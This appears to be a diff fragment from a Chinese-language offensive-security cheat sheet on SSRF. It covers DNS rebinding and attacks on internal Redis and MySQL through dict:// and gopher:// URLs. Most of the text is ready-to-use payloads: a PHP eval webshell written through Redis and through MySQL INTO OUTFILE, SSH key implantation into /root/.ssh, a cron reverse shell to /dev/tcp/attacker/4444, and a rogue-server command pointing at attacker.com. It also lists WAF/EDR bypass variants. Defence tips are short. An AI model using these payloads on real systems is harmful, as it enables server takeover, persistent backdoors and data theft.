+ 3. 使用该域名发起SSRF请求
1007
+ 4. 第一次验证通过,第二次访问内网
1008
+ ```
1009
+ **语法解析:**
1010
+ - `1.` — 命令/载荷起始 _command_
1011
+ - ` 注册域名指向自建DNS服务器
1012
+ 2. 配置DNS服务器返回两个IP
1013
+ 3. 使用该域名发起SSRF请求
1014
+ 4. 第一次验证通过,第二次访问内网` — 参数与载荷内容 _value_
1015
+
1016
+ **WAF/EDR 绕过变体:**
1017
+
1018
+ **多IP响应**
1019
+ > 利用多IP响应
1020
+ ```
1021
+ DNS响应包含多个A记录
1022
+ 服务器可能选择不同的IP
1023
+ ```
1024
+ **语法解析:**
1025
+ - `DNS响应包含多个A记录
1026
+ 服务器可能选择不同的IP` — 攻击载荷 _value_
1027
+
1028
+
1029
+ **概述:** DNS重绑定攻击通过在两次DNS查询间改变域名解析结果(先解析为合法IP通过验证,再解析为内网IP发起请求)来绕过SSRF的域名/IP校验,是最隐蔽的SSRF绕过方式之一。
1030
+
1031
+ **漏洞原理:** DNS重绑定利用DNS TTL极低(0-1秒)的域名:第一次解析返回公网IP通过服务端URL验证,第二次解析(实际请求时)返回127.0.0.1或内网IP。可利用在线DNS重绑定服务(如rbndr.us/lock.cmpxchg8b.com)或自建DNS服务器。
1032
+
1033
+ **利用方法:** 完整利用流程:
1034
+ 1. 搭建或使用DNS重绑定服务
1035
+ 2. 配置域名解析策略
1036
+ 3. 使用该域名发起请求
1037
+ 4. 绕过验证访问内网
1038
+
1039
+ **防御措施:** 防御措施:
1040
+ 1. 缓存DNS解析结果
1041
+ 2. 使用IP地址而非域名验证
1042
+ 3. 禁用DNS解析
1043
+ 4. 网络层隔离
1044
+
1045
+ ---
1046
+
1047
+ ### SSRF攻击Redis `ssrf-redis`
1048
+ _利用SSRF攻击内网Redis服务_
1049
+ 子类:**Redis攻击** · tags: `ssrf` `redis` `rce` `webshell`
1050
+
1051
+ **前置条件:**
1052
+ - 存在SSRF漏洞
1053
+ - 内网存在未授权Redis
1054
+
1055
+ **攻击链:**
1056
+
1057
+ **1. 探测Redis**
1058
+ > 探测Redis服务
1059
+ ```
1060
+ dict://127.0.0.1:6379/info
1061
+ 或使用Gopher:
1062
+ gopher://127.0.0.1:6379/_INFO
1063
+ ```
1064
+ **语法解析:**
1065
+ - `dict://127.0.0.1:6379/info
1066
+ 或使用Gopher:
1067
+ gopher://127.0.0.1:6379/_INFO` — 攻击载荷 _value_
1068
+
1069
+ **2. 写入WebShell**
1070
+ > 写入WebShell到Web目录
1071
+ ```
1072
+ # 使用Dict协议
1073
+ dict://127.0.0.1:6379/set%20shell%20"<?php @eval($_POST[cmd]);?>"
1074
+ dict://127.0.0.1:6379/config%20set%20dir%20/var/www/html
1075
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20shell.php
1076
+ dict://127.0.0.1:6379/save
1077
+ ```
1078
+ **语法解析:**
1079
+ - `set shell` — 设置键值 _value_
1080
+ - `config set dir` — 设置保存目录 _value_
1081
+ - `config set dbfilename` — 设置保存文件名 _value_
1082
+ - `save` — 保存数据库到文件 _value_
1083
+
1084
+ **3. 写入SSH公钥**
1085
+ > 写入SSH公钥
1086
+ ```
1087
+ dict://127.0.0.1:6379/set%20ssh%20"ssh-rsa AAAA..."
1088
+ dict://127.0.0.1:6379/config%20set%20dir%20/root/.ssh
1089
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20authorized_keys
1090
+ dict://127.0.0.1:6379/save
1091
+ ```
1092
+ **语法解析:**
1093
+ - `dict://127.0.0.1:6379/set%20ssh%20"ssh-rsa` — 命令/载荷起始 _command_
1094
+ - ` AAAA..."
1095
+ dict://127.0.0.1:6379/config%20set%20dir%20/root/.ssh
1096
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20authorized_keys
1097
+ dict://127.0.0.1:6379/save` — 参数与载荷内容 _value_
1098
+
1099
+ **4. 写入Cron任务**
1100
+ > 写入Cron反弹Shell
1101
+ _platform: linux_
1102
+ ```
1103
+ dict://127.0.0.1:6379/set%20cron%20"*/1 * * * * bash -i >& /dev/tcp/attacker/4444 0>&1"
1104
+ dict://127.0.0.1:6379/config%20set%20dir%20/var/spool/cron
1105
+ dict://127.0.0.1:6379/config%20set%20dbfilename%20root
1106
+ dict://127.0.0.1:6379/save
1107
+ ```
1108
+ **语法解析:**
1109
+ - `dict://127.0.0.1:6379/set%20cron%20"*/1 * * * * bash -i >& /dev/tcp/attacker/444` — 攻击载荷 _value_
1110
+
1111
+ **5. 主从复制RCE**
1112
+ > 主从复制RCE
1113
+ ```
1114
+ # 使用redis-rogue-server
1115
+ python redis-rogue-server.py --rhost=127.0.0.1 --lhost=attacker.com
1116
+ 利用Redis主从复制加载恶意模块
1117
+ ```
1118
+ **语法解析:**
1119
+ - `#` — 命令/载荷起始 _command_
1120
+ - ` 使用redis-rogue-server
1121
+ python redis-rogue-server.py --rhost=127.0.0.1 --lhost=attacker.com
1122
+ 利用Redis主从复制加载恶意模块` — 参数与载荷内容 _value_
1123
+
1124
+ **WAF/EDR 绕过变体:**
1125
+
1126
+ **Gopher协议构造**
1127
+ > 使用Gopher协议
1128
+ ```
1129
+ 使用Gopher协议构造完整的Redis命令序列
1130
+ 可以绕过Dict协议限制
1131
+ ```
1132
+ **语法解析:**
1133
+ - `使用Gopher协议构造完整的Redis命令序列
1134
+ 可以绕过Dict协议限制` — 攻击载荷 _value_
1135
+
1136
+
1137
+ **概述:** SSRF攻击Redis是最经典的内网服务利用场景,通过gopher://协议向Redis发送命令,可写入WebShell、SSH公钥、Crontab定时任务等,从SSRF直接升级为服务器RCE。
1138
+
1139
+ **漏洞原理:** Redis默认无认证且监听0.0.0.0:6379。SSRF通过gopher://发送Redis命令:1)SET/CONFIG SET dir+dbfilename写WebShell到Web目录 2)写SSH公钥到/root/.ssh/authorized_keys 3)写Crontab反弹Shell 4)主从复制加载恶意模块(RCE)。
1140
+
1141
+ **利用方法:** 完整利用流程:
1142
+ 1. 通过SSRF探测Redis
1143
+ 2. 写入WebShell
1144
+ 3. 或写入SSH公钥
1145
+ 4. 或写入Cron任务
1146
+ 5. 获取服务器权限
1147
+
1148
+ **防御措施:** 防御措施:
1149
+ 1. Redis设置密码认证
1150
+ 2. 绑定内网IP
1151
+ 3. 禁用危险命令
1152
+ 4. 网络隔离
1153
+
1154
+ ---
1155
+
1156
+ ### SSRF攻击MySQL `ssrf-mysql`
1157
+ _利用SSRF攻击内网MySQL服务_
1158
+ 子类:**MySQL攻击** · tags: `ssrf` `mysql` `gopher` `database`
1159
+
1160
+ **前置条件:**
1161
+ - 存在SSRF漏洞
1162
+ - 内网存在MySQL服务
1163
+ - 知道MySQL用户名
1164
+
1165
+ **攻击链:**
1166
+
1167
+ **1. MySQL协议基础**
1168
+ > MySQL协议基础
1169
+ ```
1170
+ MySQL通信协议:
1171
+ - 握手包
1172
+ - 认证包
1173
+ - 命令包
1174
+ 需要构造符合协议的数据
1175
+ ```
1176
+ **语法解析:**
1177
+ - `MySQL通信协议` — MySQL使用自定义二进制协议通信,基于TCP _command_
1178
+ - `握手包` — 服务端发送的初始包,包含协议版本、服务器版本、随机挑战数 _parameter_
1179
+ - `认证包` — 客户端发送的认证信息,包含用户名和加密密码 _parameter_
1180
+ - `命令包` — 认证后发送的SQL命令包,类型为COM_QUERY(0x03) _value_
1181
+
1182
+ **2. 使用Gopher攻击MySQL**
1183
+ > Gopher协议攻击MySQL
1184
+ ```
1185
+ # 构造MySQL协议数据包
1186
+ # 需要使用工具生成
1187
+ gopher://127.0.0.1:3306/_[MySQL Protocol Data]
1188
+
1189
+ # 使用sqlmap
1190
+ gopher://127.0.0.1:3306/_[sqlmap生成的payload]
1191
+ ```
1192
+ **语法解析:**
1193
+ - `gopher://` — Gopher协议前缀,允许发送原始TCP数据 _command_
1194
+ - `127.0.0.1:3306` — 目标MySQL服务地址和端口(默认3306) _value_
1195
+ - `/_` — Gopher数据分隔符,_后为实际发送的数据 _operator_
1196
+ - `[MySQL Protocol Data]` — URL编码的MySQL协议二进制数据包 _variable_
1197
+
1198
+ **3. 使用工具生成Payload**
1199
+ > 使用工具生成Payload
1200
+ ```
1201
+ # 使用Gopherus工具
1202
+ python gopherus.py --exploit mysql
1203
+ 输入用户名和SQL命令
1204
+ 生成Gopher URL
1205
+
1206
+ # 或使用mysql_gopher_attack工具
1207
+ ```
1208
+ **语法解析:**
1209
+ - `python gopherus.py` — 运行Gopherus自动化Gopher payload生成工具 _command_
1210
+ - `--exploit mysql` — 指定攻击目标为MySQL服务 _parameter_
1211
+ - `输入用户名和SQL命令` — 交互式输入MySQL用户名(常为root)和要执行的SQL _value_
1212
+
1213
+ **4. 执行SQL命令**
1214
+ > 执行SQL命令
1215
+ ```
1216
+ SELECT * FROM users;
1217
+ SELECT user(), version();
1218
+ 写入WebShell:
1219
+ SELECT "<?php @eval($_POST[cmd]);?>" INTO OUTFILE "/var/www/html/shell.php";
1220
+ ```
1221
+ **语法解析:**
1222
+ - `SELECT user(), version()` — 查询当前数据库用户和MySQL版本信息 _command_
1223
+ - `INTO OUTFILE` — MySQL写文件语句,需要FILE权限和secure_file_priv允许 _parameter_
1224
+ - `/var/www/html/shell.php` — WebShell写入路径,需在Web可访问目录下 _value_
1225
+
1226
+ **WAF/EDR 绕过变体:**
1227
+
1228
+ **无密码MySQL**
1229
+ > 利用空密码配置
1230
+ ```
1231
+ 如果MySQL允许空密码连接
1232
+ 可以更容易构造攻击载荷
1233
+ ```
1234
+ **语法解析:**
1235
+ - `空密码连接` — MySQL允许空密码时,认证包中密码字段为空 _command_
1236
+ - `简化协议构造` — 无需计算密码哈希,攻击载荷更简单更可靠 _parameter_
1237
+
1238
+
1239
+ **概述:** SSRF攻击MySQL利用gopher://协议构造MySQL通信报文,在目标MySQL允许无密码本地连接时可执行任意SQL语句,读取敏感数据或通过INTO OUTFILE写入WebShell。
1240
+
1241
+ **漏洞原理:** MySQL认证允许本地空密码连接时(常见于开发环境),SSRF通过gopher://发送MySQL协议数据包:1)认证握手报文 2)查询报文(SELECT/INSERT/INTO OUTFILE)。利用工具如Gopherus可自动生成URL编码的MySQL协议payload。
1242
+
1243
+ **利用方法:** 完整利用流程:
1244
+ 1. 确认MySQL服务
1245
+ 2. 获取用户名
1246
+ 3. 构造协议数据包
1247
+ 4. 执行SQL命令
1248
+ 5. 写入WebShell
1249
+
1250
+ **防御措施:** 防御措施:
1251
+ 1. MySQL设置强密码
1252
+ 2. 禁止空密码登录
1253
+ 3. 限制网络访问
1254
+ 4. 禁用文件写入功能
1255
+
1256
+ ---